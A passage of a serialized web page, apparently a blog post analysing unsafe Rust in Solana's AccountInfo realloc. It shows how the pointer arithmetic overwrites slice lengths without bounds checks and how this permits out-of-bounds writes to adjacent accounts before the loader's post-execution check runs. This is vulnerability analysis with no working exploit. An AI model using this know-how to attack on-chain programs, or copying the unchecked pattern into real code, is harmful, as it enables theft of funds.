"props":16363,"children":16364},{"style":1021},[16365],{"type":26,"value":14292},{"type":21,"tag":85,"props":16367,"children":16368},{"style":114},[16369],{"type":26,"value":14297},{"type":21,"tag":85,"props":16371,"children":16372},{"style":169},[16373],{"type":26,"value":3904},{"type":21,"tag":85,"props":16375,"children":16376},{"style":1021},[16377],{"type":26,"value":14306},{"type":21,"tag":85,"props":16379,"children":16380},{"style":114},[16381],{"type":26,"value":14297},{"type":21,"tag":85,"props":16383,"children":16384},{"style":169},[16385],{"type":26,"value":73},{"type":21,"tag":85,"props":16387,"children":16388},{"style":1021},[16389],{"type":26,"value":14319},{"type":21,"tag":85,"props":16391,"children":16392},{"style":114},[16393],{"type":26,"value":1439},{"type":21,"tag":85,"props":16395,"children":16396},{"style":169},[16397],{"type":26,"value":5097},{"type":21,"tag":85,"props":16399,"children":16400},{"style":2285},[16401],{"type":26,"value":4843},{"type":21,"tag":85,"props":16403,"children":16404},{"style":114},[16405],{"type":26,"value":736},{"type":21,"tag":85,"props":16407,"children":16408},{"style":102},[16409],{"type":26,"value":3209},{"type":21,"tag":85,"props":16411,"children":16412},{"style":169},[16413],{"type":26,"value":10231},{"type":21,"tag":85,"props":16415,"children":16416},{"style":102},[16417],{"type":26,"value":2039},{"type":21,"tag":85,"props":16419,"children":16420},{"style":108},[16421],{"type":26,"value":177},{"type":21,"tag":85,"props":16423,"children":16424},{"style":114},[16425],{"type":26,"value":2535},{"type":21,"tag":85,"props":16427,"children":16428},{"class":87,"line":151},[16429,16433,16437,16441,16445,16449,16453],{"type":21,"tag":85,"props":16430,"children":16431},{"style":169},[16432],{"type":26,"value":3052},{"type":21,"tag":85,"props":16434,"children":16435},{"style":120},[16436],{"type":26,"value":14367},{"type":21,"tag":85,"props":16438,"children":16439},{"style":169},[16440],{"type":26,"value":1941},{"type":21,"tag":85,"props":16442,"children":16443},{"style":120},[16444],{"type":26,"value":14376},{"type":21,"tag":85,"props":16446,"children":16447},{"style":102},[16448],{"type":26,"value":3195},{"type":21,"tag":85,"props":16450,"children":16451},{"style":108},[16452],{"type":26,"value":177},{"type":21,"tag":85,"props":16454,"children":16455},{"style":114},[16456],{"type":26,"value":2535},{"type":21,"tag":22,"props":16458,"children":16459},{},[16460,16465,16467,16472,16474,16479,16481,16492,16494,16499,16501,16506],{"type":21,"tag":66,"props":16461,"children":16463},{"className":16462},[],[16464],{"type":26,"value":14292},{"type":26,"value":16466}," gives us the ",{"type":21,"tag":66,"props":16468,"children":16470},{"className":16469},[],[16471],{"type":26,"value":15882},{"type":26,"value":16473}," from the ",{"type":21,"tag":66,"props":16475,"children":16477},{"className":16476},[],[16478],{"type":26,"value":15756},{"type":26,"value":16480},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":21,"tag":335,"props":16482,"children":16485},{"href":16483,"rel":16484},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[339],[16486],{"type":21,"tag":66,"props":16487,"children":16489},{"className":16488},[],[16490],{"type":26,"value":16491},"slice::as_mut_ptr()",{"type":26,"value":16493}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":21,"tag":66,"props":16495,"children":16497},{"className":16496},[],[16498],{"type":26,"value":2396},{"type":26,"value":16500}," - behind the data buffer), and then writes ",{"type":21,"tag":66,"props":16502,"children":16504},{"className":16503},[],[16505],{"type":26,"value":14140},{"type":26,"value":16507}," to it.",{"type":21,"tag":22,"props":16509,"children":16510},{},[16511,16513,16525,16527,16533],{"type":26,"value":16512},"This is reasonable... ",{"type":21,"tag":39,"props":16514,"children":16515},{},[16516,16518,16523],{"type":26,"value":16517},"as long as the ",{"type":21,"tag":66,"props":16519,"children":16521},{"className":16520},[],[16522],{"type":26,"value":4469},{"type":26,"value":16524}," actually came from the serialized buffer",{"type":26,"value":16526},". We'll come back to this ",{"type":21,"tag":335,"props":16528,"children":16530},{"href":16529},"#Not-contracts",[16531],{"type":26,"value":16532},"later",{"type":26,"value":73},{"type":21,"tag":22,"props":16535,"children":16536},{},[16537,16539,16544],{"type":26,"value":16538},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":21,"tag":66,"props":16540,"children":16542},{"className":16541},[],[16543],{"type":26,"value":15882},{"type":26,"value":16545}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":21,"tag":75,"props":16547,"children":16549},{"className":77,"code":16548,"language":79,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[16550],{"type":21,"tag":66,"props":16551,"children":16552},{"__ignoreMap":7},[16553,16561,16688],{"type":21,"tag":85,"props":16554,"children":16555},{"class":87,"line":88},[16556],{"type":21,"tag":85,"props":16557,"children":16558},{"style":92},[16559],{"type":26,"value":16560},"// Then set the new length in the local slice\n",{"type":21,"tag":85,"props":16562,"children":16563},{"class":87,"line":98},[16564,16568,16572,16576,16580,16584,16588,16592,16596,16600,16604,16608,16612,16616,16620,16624,16628,16632,16636,16640,16644,16648,16652,16656,16660,16664,16668,16672,16676,16680,16684],{"type":21,"tag":85,"props":16565,"children":16566},{"style":102},[16567],{"type":26,"value":12204},{"type":21,"tag":85,"props":16569,"children":16570},{"style":120},[16571],{"type":26,"value":14275},{"type":21,"tag":85,"props":16573,"children":16574},{"style":169},[16575],{"type":26,"value":1941},{"type":21,"tag":85,"props":16577,"children":16578},{"style":169},[16579],{"type":26,"value":1487},{"type":21,"tag":85,"props":16581,"children":16582},{"style":102},[16583],{"type":26,"value":2039},{"type":21,"tag":85,"props":16585,"children":16586},{"style":169},[16587],{"type":26,"value":10231},{"type":21,"tag":85,"props":16589,"children":16590},{"style":114},[16591],{"type":26,"value":14435},{"type":21,"tag":85,"props":16593,"children":16594},{"style":102},[16595],{"type":26,"value":14131},{"type":21,"tag":85,"props":16597,"children":16598},{"style":169},[16599],{"type":26,"value":73},{"type":21,"tag":85,"props":16601,"children":16602},{"style":114},[16603],{"type":26,"value":4469},{"type":21,"tag":85,"props":16605,"children":16606},{"style":169},[16607],{"type":26,"value":73},{"type":21,"tag":85,"props":16609,"children":16610},{"style":1021},[16611],{"type":26,"value":14456},{"type":21,"tag":85,"props":16613,"children":16614},{"style":114},[16615],{"type":26,"value":14461},{"type":21,"tag":85,"props":16617,"children":16618},{"style":102},[16619],{"type":26,"value":3209},{"type":21,"tag":85,"props":16621,"children":16622},{"style":169},[16623],{"type":26,"value":10231},{"type":21,"tag":85,"props":16625,"children":16626},{"style":102},[16627],{"type":26,"value":10069},{"type":21,"tag":85,"props":16629,"children":16630},{"style":108},[16631],{"type":26,"value":177},{"type":21,"tag":85,"props":16633,"children":16634},{"style":114},[16635],{"type":26,"value":1900},{"type":21,"tag":85,"props":16637,"children":16638},{"style":169},[16639],{"type":26,"value":73},{"type":21,"tag":85,"props":16641,"children":16642},{"style":1021},[16643],{"type":26,"value":14319},{"type":21,"tag":85,"props":16645,"children":16646},{"style":114},[16647],{"type":26,"value":1439},{"type":21,"tag":85,"props":16649,"children":16650},{"style":2285},[16651],{"type":26,"value":4779},{"type":21,"tag":85,"props":16653,"children":16654},{"style":114},[16655],{"type":26,"value":736},{"type":21,"tag":85,"props":16657,"children":16658},{"style":102},[16659],{"type":26,"value":3209},{"type":21,"tag":85,"props":16661,"children":16662},{"style":108},[16663],{"type":26,"value":177},{"type":21,"tag":85,"props":16665,"children":16666},{"style":114},[16667],{"type":26,"value":736},{"type":21,"tag":85,"props":16669,"children":16670},{"style":102},[16671],{"type":26,"value":3209},{"type":21,"tag":85,"props":16673,"children":16674},{"style":169},[16675],{"type":26,"value":10231},{"type":21,"tag":85,"props":16677,"children":16678},{"style":102},[16679],{"type":26,"value":2039},{"type":21,"tag":85,"props":16681,"children":16682},{"style":108},[16683],{"type":26,"value":177},{"type":21,"tag":85,"props":16685,"children":16686},{"style":114},[16687],{"type":26,"value":777},{"type":21,"tag":85,"props":16689,"children":16690},{"class":87,"line":151},[16691,16695,16699,16703,16707,16711,16715],{"type":21,"tag":85,"props":16692,"children":16693},{"style":169},[16694],{"type":26,"value":3052},{"type":21,"tag":85,"props":16696,"children":16697},{"style":120},[16698],{"type":26,"value":14367},{"type":21,"tag":85,"props":16700,"children":16701},{"style":169},[16702],{"type":26,"value":1941},{"type":21,"tag":85,"props":16704,"children":16705},{"style":120},[16706],{"type":26,"value":14376},{"type":21,"tag":85,"props":16708,"children":16709},{"style":102},[16710],{"type":26,"value":3195},{"type":21,"tag":85,"props":16712,"children":16713},{"style":108},[16714],{"type":26,"value":177},{"type":21,"tag":85,"props":16716,"children":16717},{"style":114},[16718],{"type":26,"value":2535},{"type":21,"tag":22,"props":16720,"children":16721},{},[16722,16724,16730,16732,16743,16745,16751,16753,16759,16761,16766,16768,16773,16775,16785,16786,16793,16794,16801,16808,16810,16816,16818,16824,16826,16831,16833,16838,16840,16846,16848,16853],{"type":26,"value":16723},"That ",{"type":21,"tag":66,"props":16725,"children":16727},{"className":16726},[],[16728],{"type":26,"value":16729},"as_ptr()",{"type":26,"value":16731}," call is ",{"type":21,"tag":335,"props":16733,"children":16736},{"href":16734,"rel":16735},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[339],[16737],{"type":21,"tag":66,"props":16738,"children":16740},{"className":16739},[],[16741],{"type":26,"value":16742},"RefCell::as_ptr()",{"type":26,"value":16744}," due to the ",{"type":21,"tag":66,"props":16746,"children":16748},{"className":16747},[],[16749],{"type":26,"value":16750},"Deref",{"type":26,"value":16752}," impl on ",{"type":21,"tag":66,"props":16754,"children":16756},{"className":16755},[],[16757],{"type":26,"value":16758},"Rc",{"type":26,"value":16760}," (remember also that ",{"type":21,"tag":66,"props":16762,"children":16764},{"className":16763},[],[16765],{"type":26,"value":15923},{"type":26,"value":16767}," itself doesn't behave like a reference, you need to actually ",{"type":21,"tag":39,"props":16769,"children":16770},{},[16771],{"type":26,"value":16772},"get",{"type":26,"value":16774}," one through ",{"type":21,"tag":335,"props":16776,"children":16779},{"href":16777,"rel":16778},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[339],[16780],{"type":21,"tag":66,"props":16781,"children":16783},{"className":16782},[],[16784],{"type":26,"value":3169},{"type":26,"value":790},{"type":21,"tag":335,"props":16787,"children":16790},{"href":16788,"rel":16789},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[339],[16791],{"type":26,"value":16792},"and",{"type":26,"value":790},{"type":21,"tag":335,"props":16795,"children":16798},{"href":16796,"rel":16797},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[339],[16799],{"type":26,"value":16800},"frie",{"type":21,"tag":335,"props":16802,"children":16805},{"href":16803,"rel":16804},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[339],[16806],{"type":26,"value":16807},"nds",{"type":26,"value":16809},"). So from ",{"type":21,"tag":66,"props":16811,"children":16813},{"className":16812},[],[16814],{"type":26,"value":16815},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":26,"value":16817}," we get a ",{"type":21,"tag":66,"props":16819,"children":16821},{"className":16820},[],[16822],{"type":26,"value":16823},"*mut &mut [u8]",{"type":26,"value":16825}," - a ",{"type":21,"tag":39,"props":16827,"children":16828},{},[16829],{"type":26,"value":16830},"pointer",{"type":26,"value":16832}," to the ",{"type":21,"tag":39,"props":16834,"children":16835},{},[16836],{"type":26,"value":16837},"slice reference",{"type":26,"value":16839},". From here, we turn the pointer into a ",{"type":21,"tag":66,"props":16841,"children":16843},{"className":16842},[],[16844],{"type":26,"value":16845},"*const u64",{"type":26,"value":16847}," pointer and then offset by 1 ",{"type":21,"tag":66,"props":16849,"children":16851},{"className":16850},[],[16852],{"type":26,"value":2396},{"type":26,"value":16854}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":21,"tag":22,"props":16856,"children":16857},{},[16858,16860,16865,16867,16872,16874,16879,16881,16886,16888,16894],{"type":26,"value":16859},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":21,"tag":335,"props":16861,"children":16863},{"href":16862},"#Towards-safer-unsafe",[16864],{"type":26,"value":16532},{"type":26,"value":16866}," too, I promise. In summary, we're writing the new length as a ",{"type":21,"tag":66,"props":16868,"children":16870},{"className":16869},[],[16871],{"type":26,"value":2396},{"type":26,"value":16873}," to the region starting 8 bytes from the start of the slice ",{"type":21,"tag":39,"props":16875,"children":16876},{},[16877],{"type":26,"value":16878},"reference",{"type":26,"value":16880}," (the ",{"type":21,"tag":66,"props":16882,"children":16884},{"className":16883},[],[16885],{"type":26,"value":15882},{"type":26,"value":16887},").So, what does ",{"type":21,"tag":66,"props":16889,"children":16891},{"className":16890},[],[16892],{"type":26,"value":16893},"&[T]",{"type":26,"value":16895}," look like in Rust?",{"type":21,"tag":22,"props":16897,"children":16898},{},[16899,16901,16908,16910,16923,16925,16931],{"type":26,"value":16900},"According to ",{"type":21,"tag":335,"props":16902,"children":16905},{"href":16903,"rel":16904},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[339],[16906],{"type":26,"value":16907},"the reference",{"type":26,"value":16909},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":21,"tag":335,"props":16911,"children":16914},{"href":16912,"rel":16913},"https://doc.rust-lang.org/reference/type-layout.html",[339],[16915,16917,16921],{"type":26,"value":16916},"\"Type layout can be changed with each compilation. ",{"type":21,"tag":85,"props":16918,"children":16919},{},[16920],{"type":26,"value":10004},{"type":26,"value":16922}," we only document what is guaranteed today\"",{"type":26,"value":16924},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":21,"tag":66,"props":16926,"children":16928},{"className":16927},[],[16929],{"type":26,"value":16930},"rustc",{"type":26,"value":16932},", the layout is a data pointer followed by the size; essentially the same as:",{"type":21,"tag":75,"props":16934,"children":16937},{"className":16935,"code":16936,"language":3918,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[16938],{"type":21,"tag":66,"props":16939,"children":16940},{"__ignoreMap":7},[16941,16949,16961,16978,16991],{"type":21,"tag":85,"props":16942,"children":16943},{"class":87,"line":88},[16944],{"type":21,"tag":85,"props":16945,"children":16946},{"style":92},[16947],{"type":26,"value":16948},"// C language\n",{"type":21,"tag":85,"props":16950,"children":16951},{"class":87,"line":98},[16952,16956],{"type":21,"tag":85,"props":16953,"children":16954},{"style":102},[16955],{"type":26,"value":9814},{"type":21,"tag":85,"props":16957,"children":16958},{"style":114},[16959],{"type":26,"value":16960}," slice_ref {\n",{"type":21,"tag":85,"props":16962,"children":16963},{"class":87,"line":151},[16964,16969,16973],{"type":21,"tag":85,"props":16965,"children":16966},{"style":102},[16967],{"type":26,"value":16968},"    void",{"type":21,"tag":85,"props":16970,"children":16971},{"style":169},[16972],{"type":26,"value":3052},{"type":21,"tag":85,"props":16974,"children":16975},{"style":114},[16976],{"type":26,"value":16977}," ptr;\n",{"type":21,"tag":85,"props":16979,"children":16980},{"class":87,"line":160},[16981,16986],{"type":21,"tag":85,"props":16982,"children":16983},{"style":102},[16984],{"type":26,"value":16985},"    size_t",{"type":21,"tag":85,"props":16987,"children":16988},{"style":114},[16989],{"type":26,"value":16990}," len;\n",{"type":21,"tag":85,"props":16992,"children":16993},{"class":87,"line":185},[16994],{"type":21,"tag":85,"props":16995,"children":16996},{"style":114},[16997],{"type":26,"value":16998},"};\n",{"type":21,"tag":22,"props":17000,"children":17001},{},[17002],{"type":26,"value":17003},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":21,"tag":841,"props":17005,"children":17006},{},[17007,17012,17030],{"type":21,"tag":845,"props":17008,"children":17009},{},[17010],{"type":26,"value":17011},"Slices are laid out in the precise manner described",{"type":21,"tag":845,"props":17013,"children":17014},{},[17015,17017,17023,17025],{"type":26,"value":17016},"Pointers and ",{"type":21,"tag":66,"props":17018,"children":17020},{"className":17019},[],[17021],{"type":26,"value":17022},"usize",{"type":26,"value":17024}," are the same width as ",{"type":21,"tag":66,"props":17026,"children":17028},{"className":17027},[],[17029],{"type":26,"value":2396},{"type":21,"tag":845,"props":17031,"children":17032},{},[17033,17035,17040],{"type":26,"value":17034},"The ",{"type":21,"tag":66,"props":17036,"children":17038},{"className":17037},[],[17039],{"type":26,"value":15923},{"type":26,"value":17041}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":21,"tag":22,"props":17043,"children":17044},{},[17045,17047,17052,17054,17060,17062,17067,17069,17075,17077,17082,17084,17094],{"type":26,"value":17046},"Assumption #2 is ",{"type":21,"tag":39,"props":17048,"children":17049},{},[17050],{"type":26,"value":17051},"probably",{"type":26,"value":17053}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":21,"tag":66,"props":17055,"children":17057},{"className":17056},[],[17058],{"type":26,"value":17059},"borrow_mut",{"type":26,"value":17061}," of the ",{"type":21,"tag":66,"props":17063,"children":17065},{"className":17064},[],[17066],{"type":26,"value":15923},{"type":26,"value":17068}," (through ",{"type":21,"tag":66,"props":17070,"children":17072},{"className":17071},[],[17073],{"type":26,"value":17074},"AccountInfo::try_borrow_mut_data()",{"type":26,"value":17076},"), and ",{"type":21,"tag":66,"props":17078,"children":17080},{"className":17079},[],[17081],{"type":26,"value":15923},{"type":26,"value":17083}," is not usable between multiple threads",{"type":21,"tag":15893,"props":17085,"children":17086},{},[17087],{"type":21,"tag":335,"props":17088,"children":17092},{"href":17089,"ariaDescribedBy":17090,"dataFootnoteRef":7,"id":17091},"#user-content-fn-sendsync",[15900],"user-content-fnref-sendsync",[17093],{"type":26,"value":3895},{"type":26,"value":17095},", so we already have exclusive access.",{"type":21,"tag":22,"props":17097,"children":17098},{},[17099,17101,17105],{"type":26,"value":17100},"A few more ",{"type":21,"tag":39,"props":17102,"children":17103},{},[17104],{"type":26,"value":1453},{"type":26,"value":17106}," things of note, that could have gone badly but didn't:",{"type":21,"tag":17108,"props":17109,"children":17110},"ul",{},[17111,17153],{"type":21,"tag":845,"props":17112,"children":17113},{},[17114,17116,17122,17124,17129,17131,17136,17138,17143,17145,17151],{"type":26,"value":17115},"By reborrowing the pointer (the ",{"type":21,"tag":66,"props":17117,"children":17119},{"className":17118},[],[17120],{"type":26,"value":17121},"&mut *(\u003Cvalue of type *mut u64>)",{"type":26,"value":17123},"), we've created a reference with an ",{"type":21,"tag":39,"props":17125,"children":17126},{},[17127],{"type":26,"value":17128},"unbounded lifetime",{"type":26,"value":17130},". Rust is free to infer ",{"type":21,"tag":39,"props":17132,"children":17133},{},[17134],{"type":26,"value":17135},"any",{"type":26,"value":17137}," lifetime for ",{"type":21,"tag":66,"props":17139,"children":17141},{"className":17140},[],[17142],{"type":26,"value":14367},{"type":26,"value":17144}," (including ",{"type":21,"tag":66,"props":17146,"children":17148},{"className":17147},[],[17149],{"type":26,"value":17150},"'static",{"type":26,"value":17152},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":21,"tag":845,"props":17154,"children":17155},{},[17156,17158,17164,17166,17171,17173,17178,17180,17185,17187,17192,17194,17199,17201,17206,17208,17214,17216,17221,17223,17228,17230,17235,17237,17242,17244,17249],{"type":26,"value":17157},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":21,"tag":66,"props":17159,"children":17161},{"className":17160},[],[17162],{"type":26,"value":17163},"RefMut",{"type":26,"value":17165}," returned from ",{"type":21,"tag":66,"props":17167,"children":17169},{"className":17168},[],[17170],{"type":26,"value":14292},{"type":26,"value":17172},", but the ",{"type":21,"tag":66,"props":17174,"children":17176},{"className":17175},[],[17177],{"type":26,"value":17163},{"type":26,"value":17179}," is dropped at the end of the statement. So, we now have in ",{"type":21,"tag":66,"props":17181,"children":17183},{"className":17182},[],[17184],{"type":26,"value":14367},{"type":26,"value":17186}," a ",{"type":21,"tag":39,"props":17188,"children":17189},{},[17190],{"type":26,"value":17191},"mutable",{"type":26,"value":17193}," pointer to the ",{"type":21,"tag":66,"props":17195,"children":17197},{"className":17196},[],[17198],{"type":26,"value":15923},{"type":26,"value":17200},"'s data, but the ",{"type":21,"tag":66,"props":17202,"children":17204},{"className":17203},[],[17205],{"type":26,"value":15923},{"type":26,"value":17207}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":21,"tag":66,"props":17209,"children":17211},{"className":17210},[],[17212],{"type":26,"value":17213},"Mutex",{"type":26,"value":17215}," instead of a ",{"type":21,"tag":66,"props":17217,"children":17219},{"className":17218},[],[17220],{"type":26,"value":15923},{"type":26,"value":17222}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":21,"tag":66,"props":17224,"children":17226},{"className":17225},[],[17227],{"type":26,"value":14367},{"type":26,"value":17229}," and writing to it ",{"type":21,"tag":39,"props":17231,"children":17232},{},[17233],{"type":26,"value":17234},"and succeed",{"type":26,"value":17236},", resulting in us writing while another reference is alive. However, since ",{"type":21,"tag":66,"props":17238,"children":17240},{"className":17239},[],[17241],{"type":26,"value":14367},{"type":26,"value":17243}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":21,"tag":66,"props":17245,"children":17247},{"className":17246},[],[17248],{"type":26,"value":4469},{"type":26,"value":17250}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":21,"tag":22,"props":17252,"children":17253},{},[17254,17256,17261],{"type":26,"value":17255},"Ok, now that we've understood what the code is ",{"type":21,"tag":39,"props":17257,"children":17258},{},[17259],{"type":26,"value":17260},"trying",{"type":26,"value":17262}," to do, let's try to break it, shall we?",{"type":21,"tag":54,"props":17264,"children":17266},{"id":17265},"what-can-go-wrong",[17267],{"type":26,"value":17268},"What can go wrong?",{"type":21,"tag":10022,"props":17270,"children":17272},{"id":17271},"contracts",[17273],{"type":26,"value":17274},"Contracts",{"type":21,"tag":22,"props":17276,"children":17277},{},[17278,17280,17285,17287,17292,17294,17299,17301,17306],{"type":26,"value":17279},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":21,"tag":66,"props":17281,"children":17283},{"className":17282},[],[17284],{"type":26,"value":14056},{"type":26,"value":17286},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":21,"tag":66,"props":17288,"children":17290},{"className":17289},[],[17291],{"type":26,"value":14056},{"type":26,"value":17293}," to some large size, past the end of the buffer of roughly ",{"type":21,"tag":66,"props":17295,"children":17297},{"className":17296},[],[17298],{"type":26,"value":15712},{"type":26,"value":17300}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":21,"tag":66,"props":17302,"children":17304},{"className":17303},[],[17305],{"type":26,"value":4469},{"type":26,"value":17307}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":21,"tag":22,"props":17309,"children":17310},{},[17311,17313,17320],{"type":26,"value":17312},"There is ",{"type":21,"tag":335,"props":17314,"children":17317},{"href":17315,"rel":17316},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[339],[17318],{"type":26,"value":17319},"a check",{"type":26,"value":17321}," by the BPF loader, however, and it boils down to:",{"type":21,"tag":75,"props":17323,"children":17325},{"className":77,"code":17324,"language":79,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[17326],{"type":21,"tag":66,"props":17327,"children":17328},{"__ignoreMap":7},[17329,17367,17397,17404,17437],{"type":21,"tag":85,"props":17330,"children":17331},{"class":87,"line":88},[17332,17336,17341,17345,17349,17353,17357,17362],{"type":21,"tag":85,"props":17333,"children":17334},{"style":2885},[17335],{"type":26,"value":15999},{"type":21,"tag":85,"props":17337,"children":17338},{"style":120},[17339],{"type":26,"value":17340}," post_len",{"type":21,"tag":85,"props":17342,"children":17343},{"style":169},[17344],{"type":26,"value":73},{"type":21,"tag":85,"props":17346,"children":17347},{"style":1021},[17348],{"type":26,"value":14710},{"type":21,"tag":85,"props":17350,"children":17351},{"style":114},[17352],{"type":26,"value":1439},{"type":21,"tag":85,"props":17354,"children":17355},{"style":169},[17356],{"type":26,"value":3052},{"type":21,"tag":85,"props":17358,"children":17359},{"style":120},[17360],{"type":26,"value":17361},"pre_len",{"type":21,"tag":85,"props":17363,"children":17364},{"style":114},[17365],{"type":26,"value":17366},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":21,"tag":85,"props":17368,"children":17369},{"class":87,"line":98},[17370,17375,17379,17383,17388,17392],{"type":21,"tag":85,"props":17371,"children":17372},{"style":169},[17373],{"type":26,"value":17374},"    ||",{"type":21,"tag":85,"props":17376,"children":17377},{"style":120},[17378],{"type":26,"value":17340},{"type":21,"tag":85,"props":17380,"children":17381},{"style":169},[17382],{"type":26,"value":14612},{"type":21,"tag":85,"props":17384,"children":17385},{"style":114},[17386],{"type":26,"value":17387}," MAX_PERMITTED_DATA_LENGTH ",{"type":21,"tag":85,"props":17389,"children":17390},{"style":102},[17391],{"type":26,"value":3209},{"type":21,"tag":85,"props":17393,"children":17394},{"style":108},[17395],{"type":26,"value":17396}," usize\n",{"type":21,"tag":85,"props":17398,"children":17399},{"class":87,"line":151},[17400],{"type":21,"tag":85,"props":17401,"children":17402},{"style":114},[17403],{"type":26,"value":11296},{"type":21,"tag":85,"props":17405,"children":17406},{"class":87,"line":160},[17407,17412,17416,17420,17424,17428,17433],{"type":21,"tag":85,"props":17408,"children":17409},{"style":2885},[17410],{"type":26,"value":17411},"    return",{"type":21,"tag":85,"props":17413,"children":17414},{"style":108},[17415],{"type":26,"value":16169},{"type":21,"tag":85,"props":17417,"children":17418},{"style":114},[17419],{"type":26,"value":1439},{"type":21,"tag":85,"props":17421,"children":17422},{"style":108},[17423],{"type":26,"value":16178},{"type":21,"tag":85,"props":17425,"children":17426},{"style":169},[17427],{"type":26,"value":1087},{"type":21,"tag":85,"props":17429,"children":17430},{"style":108},[17431],{"type":26,"value":17432},"InvalidRealloc",{"type":21,"tag":85,"props":17434,"children":17435},{"style":114},[17436],{"type":26,"value":777},{"type":21,"tag":85,"props":17438,"children":17439},{"class":87,"line":185},[17440],{"type":21,"tag":85,"props":17441,"children":17442},{"style":114},[17443],{"type":26,"value":2671},{"type":21,"tag":22,"props":17445,"children":17446},{},[17447,17449,17454,17456,17461],{"type":26,"value":17448},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":21,"tag":39,"props":17450,"children":17451},{},[17452],{"type":26,"value":17453},"finishes",{"type":26,"value":17455}," execution. ",{"type":21,"tag":39,"props":17457,"children":17458},{},[17459],{"type":26,"value":17460},"During",{"type":26,"value":17462}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":21,"tag":22,"props":17464,"children":17465},{},[17466,17468,17473,17475,17480,17482,17489],{"type":26,"value":17467},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":21,"tag":39,"props":17469,"children":17470},{},[17471],{"type":26,"value":17472},"arbitrary",{"type":26,"value":17474}," memory access through a mistakenly-",{"type":21,"tag":66,"props":17476,"children":17478},{"className":17477},[],[17479],{"type":26,"value":14056},{"type":26,"value":17481},"'d account, this falls in the relm of some ",{"type":21,"tag":335,"props":17483,"children":17486},{"href":17484,"rel":17485},"https://en.wikipedia.org/wiki/Buffer_overflow",[339],[17487],{"type":26,"value":17488},"old-school pwning",{"type":26,"value":17490}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":21,"tag":10022,"props":17492,"children":17494},{"id":17493},"not-contracts",[17495],{"type":26,"value":17496},"Not-contracts?",{"type":21,"tag":22,"props":17498,"children":17499},{},[17500,17502,17507,17509,17519,17521,17533,17535,17542,17544,17549,17551,17556,17558,17571,17573,17578,17580,17585],{"type":26,"value":17501},"Remember when we said that all this code makes sense ",{"type":21,"tag":39,"props":17503,"children":17504},{},[17505],{"type":26,"value":17506},"if the data points to the BPF loader's serialized buffer",{"type":26,"value":17508},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":21,"tag":335,"props":17510,"children":17513},{"href":17511,"rel":17512},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[339],[17514],{"type":21,"tag":66,"props":17515,"children":17517},{"className":17516},[],[17518],{"type":26,"value":15357},{"type":26,"value":17520}," are public, and so is its ",{"type":21,"tag":335,"props":17522,"children":17525},{"href":17523,"rel":17524},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[339],[17526,17531],{"type":21,"tag":66,"props":17527,"children":17529},{"className":17528},[],[17530],{"type":26,"value":15541},{"type":26,"value":17532}," method",{"type":26,"value":17534}," (which is 